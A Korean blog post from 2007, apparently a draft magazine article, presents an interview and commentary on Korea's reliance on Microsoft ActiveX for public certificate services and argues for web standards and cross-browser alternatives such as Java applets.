- 공인인증서비스가 ActiveX기술 위주로 제공될 경우 문제점은 무엇이라고 보는가?
“사실 이것은 공인인증서비스만의 문제가 아니다. 대한민국의 전산환경이 MS의 기술로 도배가 되어 있는 상화에서는 MS라는 회사가 없어지거나 특정 패치 또는 서비스의 제공을 거부하는 등의 치명적인 위험이 생기면 우리나라 전산 산업의 기반이 허물어질 위험에 직면한다. 다양한 운영체제와 다양한 웹 브라우저가 사용되는 표준화된 환경에서는 일부의 위협일 뿐이지, 국가적 혼란을 초래할 가능성은 없다. 하지만, 지금의 추세가 지속적으로 이루어 질 경우에는 대한민국의 서비스는 미국의 MS에 지속적으로 의존할 수 밖에 없는 구조이다.”

- 그렇다면 공공서비스에서 JAVA Applet이 ActiveX의 대안이 된다고 보는 것인가?
“앞서 언급한 것과 같이 이미 해외에서 그렇게 사용하고 있다. 충분히 대안이 된다고 본다. 덧붙여서 이야기 한다면 공인인증서를 사용할 때는 거래 주체가 고객이므로 내가 무엇을 보호하고 있는지를 사용자에게 충분히 알려줘야 한다고 본다. 그러나, 현재의 일반적 공인인증서는 ‘Who am I” 와 같은 정보에 대해서만 인증하는 방식이다. 따라서 결재 금액을 위변조하는 것과 같은 보안 사고가 발생할 수가 있다. 이러한 문제는 공인인증서를 이용함에 있어 무엇을 보호할 것인가에 대한 표준이 없어서 그렇다고 본다. 특히 이러한 문제는 쇼핑몰과 같은 PG(Payment Gateway) 업체를 이용하는 결제 방식의 경우에는 더욱 심하며, 업체마다 보호 범위와 대상이 다르다는 것을 알 수가 있다.”

- ActiveX의 대안기술이 시장에서 뿌리 내릴 수 있다고 보는가?
“금결원에서 인터넷 익스플로러6.0 이상, 파이어폭스1.5 이상(리눅스/RedHat Fedora에서 가동하는 경우), 사파리1.3 이상에서 정상 작동하는 가입자 설비 개발이 2006.12.에 이미 완료된 것으로 알고 있다. 또한, 어떤 기업에서는 모든 브라우저를 지원하는 대안기술이 이미 만들어져 있는데 기존의 관행적 모순이 오히려 이러한 기술의 시장진입을 가로막는 역할을 해왔다. 대안기술은 시장에서 평가 받을 수 조차 없는 상태에 있었으며, 이제는 이러한 기술들이 시장에 뿌리를 내릴 수 있는 때가 왔다고 생각한다.”

- 마지막으로 웹 표준화가 의미하는 것은 무엇인가? 인터뷰에 감사드린다.
“MS 제품을 사용하지 않으면 공인인증서를 발급받지도 못하는 나라가 과연 어디에 있는가?심지어 핸드폰이 없으면 인터넷 쇼핑몰에서 제품도 못 사고, 게임 계정에 로그인 할 수 조차 없고, 포털 사이트에서 잃어버린 패스워드를 찾지도 못한다. 무엇보다 정보의 소통이 어떤 특정 업체가 개발한 기법이나 기술에 종속되어서는 안 된다. 인류문화의 발전은 제약 없는 정보소통에 달려 있다.”

아프리카에 군대가 아닌 인터넷을 보급함으로써 잠자고 있는 아프리카 민중들의 기본적 가치를 스스로 깨닫게 하자는 운동에서도 알 수 있듯이 TBL이 주창한 웹을 통해 말하고자 하는 근본적 철학은 혁명 그 자체와도 같다. 많은 학자들과 전문가들이 우리나라의 웹 서비스가 기형적이고, 왜곡되었다는 표현을 쓰고 있는데, 이러한 이유는 “현재 우리나라의 웹 환경이라는 것이 사실상 웹의 기본적 철학에 위배되는 비표준 서비스의 집합체”라는 시각 때문이라고 본다. 아직도 많은 전문가들은 “정상적 서비스에 문제만 없으면 됐지, 꼭 표준 서비스만을 제공해야 하는가? 극소수의 사용자를 위해 표준화된 서비스를 제공하는 것은 경제논리에도 맞지 않다”라는 시각을 갖고 있는 것을 흔히 볼 수 있는데, 금번 MS의 VISTA 출시와 더불어 비롯된 ActiveX 기술로 인한 혼란. 그것이 바로 “왜 웹 표준을 준수해야 하는지?”에 대한 답이 될 수 있다고 본다. 향후 만약 VISTA와 같은 MS의 제품이 시장에서 실패한다면 그것은 기술 또는 마케팅 차원에서의 패배가 아닌 시대가 요구하는 철학을 따르지 못한 낙오자이기 때문일 것 이라는 것이 많은 전문가들의 시각이기도 하다.

표준으로부터 이탈한 독점적 지위의 기술은 그 자체가 재앙이며, 거대 공룡과도 같은 세계적 글로벌 기업을 몰락의 길로 안내할 수도 있고, 우리나라가 IT 후진국으로 몰락할 수도 있다는 점에서 뭔가 다른 대책을 필요로 하고 있음은 분명해 보인다. ActiveX와 같은 기술의 취약점은 ActiveX 그 자체의 취약점도 문제가 되지만, 사실 가장 중요하게 봐야 하는 ActiveX의 취약점은 비표준화된 서비스 그 자체가 아닐까 싶다.
신고

 
 
     ActiveX, 김기창, 오픈웹, 웹표준화
     0   3
BlogIcon Jerry 2007.04.12 14:08 신고
위 내역은 정보보호21C 5월호에 실릴 예정인 ActiveX 취약점 1회분 원고 입니다.
^^ 2007.09.09 18:28 신고
잘 읽었습니다
BlogIcon madison scott nude 2008.05.23 05:15 신고
친구는 너의 현재 위치의 팬이 되었다!

아이디 
비밀번호 
홈페이지 
비밀글   

 

<<이전 | 1 | 2 | 3 | 4 | 다음>>

bluesman's Blog is powered by Daum & Tattertools

 

티스토리 툴바